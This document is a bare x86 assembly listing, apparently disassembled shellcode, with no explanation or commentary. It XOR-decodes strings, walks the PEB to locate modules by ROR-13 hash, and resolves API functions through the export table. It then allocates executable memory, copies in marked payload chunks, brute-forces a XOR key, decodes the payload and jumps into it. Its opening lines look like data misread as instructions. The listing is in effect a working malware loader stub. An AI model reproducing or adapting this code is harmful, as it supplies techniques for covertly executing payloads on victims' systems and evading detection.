and eax, dword [ebx]
sub al, 0x29
and byte [ebp + 0x17], al
xor dword [ecx], ebp
add dword [eax], esp
sub ch, byte es:[eax]
xor eax, 0x36362037
pop es
pop es
xor byte [ebx], ah
and esp, dword [eax]
aaa
inc ebp
sub esi, dword [ecx]
and dword [ecx], ebp
sub dword [ebx + 0x21], ebp
sub dword [ecx], ebp
inc ebp
pop esi
lea edi, [ebp - 0xd8]
mov ecx, 0x82
mov bl, 0x45
lodsb al, byte [esi]
xor al, bl
stosb byte es:[edi], al
loop 0x4030bc
push dword [ebp - 0x32]
pop esi
lea edi, [ebp - 0xd8]
mov ecx, 8
repe cmpsb byte [esi], byte es:[edi]
jne 0x4030c6
mov dword [ebp - 0x26], esi
lea edi, [ebp - 0xd8]
mov ecx, 8
repe cmpsb byte [esi], byte es:[edi]
jne 0x4030d8
sub esi, 8
sub esi, dword [ebp - 0x26]
mov dword [ebp - 0x16], esi
push dword [ebp - 0x32]
pop esi
lea edi, [ebp - 0xd0]
mov ecx, 8
repe cmpsb byte [esi], byte es:[edi]
jne 0x4030f4
mov dword [ebp - 0x22], esi
lea edi, [ebp - 0xd0]
mov ecx, 8
repe cmpsb byte [esi], byte es:[edi]
jne 0x403106
sub esi, 8
sub esi, dword [ebp - 0x22]
mov dword [ebp - 0x12], esi
xor edi, edi
mov esi, dword [ebp - 0x26]
mov esi, dword [esi]
xor esi, edi
inc edi
cmp esi, 0xc031c031
jne 0x403120
dec edi
lea esi, [ebp - 6]
mov dword [esi], edi
mov edx, dword fs:[0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x403154
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x40314b
cmp di, 0xbc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x403143
mov eax, ebx
mov dword [ebp - 0x56], ebx
push eax
add eax, dword [eax + 0x3c]
add eax, 0x78
mov ecx, dword [eax + 4]
mov ebx, dword [eax]
pop eax
add eax, ebx
mov ebx, dword [eax + 0x1c]
mov eax, dword [eax + 0x20]
xor edx, edx
add eax, dword [ebp - 0x56]
lea esi, [ebp - 0xc8]
mov ecx, 0xe
cld
mov edi, dword [eax]
add edi, dword [ebp - 0x56]
repe cmpsb byte [esi], byte es:[edi]
jecxz 0x4031a1
inc edx
add eax, 4
jmp 0x403186
add ebx, dword [ebp - 0x56]
cmp edx, 0x200
jb 0x4031ad
inc edx
mov eax, dword [ebx + edx*4]
add eax, dword [ebp - 0x56]
lea ebx, [ebp - 0x36]
mov dword [ebx], eax
mov dword [ebp - 0x36], eax
lea eax, [ebp - 0xb9]
push eax
push dword [ebp - 0x56]
call dword [ebp - 0x36]
lea ebx, [ebp - 0x3a]
mov dword [ebx], eax
mov dword [ebp - 0x3a], eax
lea eax, [ebp - 0xac]
push eax
push dword [ebp - 0x56]
call dword [ebp - 0x36]
lea ebx, [ebp - 0x4e]
mov dword [ebx], eax
lea eax, [ebp - 0x9f]
push eax
push dword [ebp - 0x56]
call dword [ebp - 0x36]
lea ebx, [ebp - 0x4a]
mov dword [ebx], eax
lea eax, [ebp - 0x93]
push eax
push dword [ebp - 0x56]
call dword [ebp - 0x36]
lea ebx, [ebp - 0x46]
mov dword [ebx], eax
lea eax, [ebp - 0x84]
push eax
push dword [ebp - 0x56]
call dword [ebp - 0x36]
lea ebx, [ebp - 0x42]
mov dword [ebx], eax
lea eax, [ebp - 0x60]
push eax
call dword [ebp - 0x3a]
mov dword [ebp - 0x52], eax
lea eax, [ebp - 0x74]
push eax
push dword [ebp - 0x52]
call dword [ebp - 0x36]
lea ebx, [ebp - 0x3e]
mov dword [ebx], eax
push 0x40
push 0x1000
push dword [ebp - 0x12]
push 0
call dword [ebp - 0x4e]
mov dword [ebp - 0x2e], eax
mov ecx, dword [ebp - 0x12]
mov esi, dword [ebp - 0x22]
mov edi, dword [ebp - 0x2e]
rep movsb byte es:[edi], byte [esi]
push 0x40
push 0x1000
push dword [ebp - 0x16]
push 0
call dword [ebp - 0x4e]
mov dword [ebp - 0x2a], eax
mov ecx, dword [ebp - 0x16]
mov esi, dword [ebp - 0x26]
mov edi, dword [ebp - 0x2a]
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0x2a]
mov edi, esi
mov eax, dword [ebp - 0x16]
mov ebx, 4
div bl
mov ecx, eax
mov ebx, dword [ebp - 6]
lodsd eax, dword [esi]
xor eax, ebx
stosd dword es:[edi], eax
loop 0x40327f
jmp dword [ebp - 0x2a]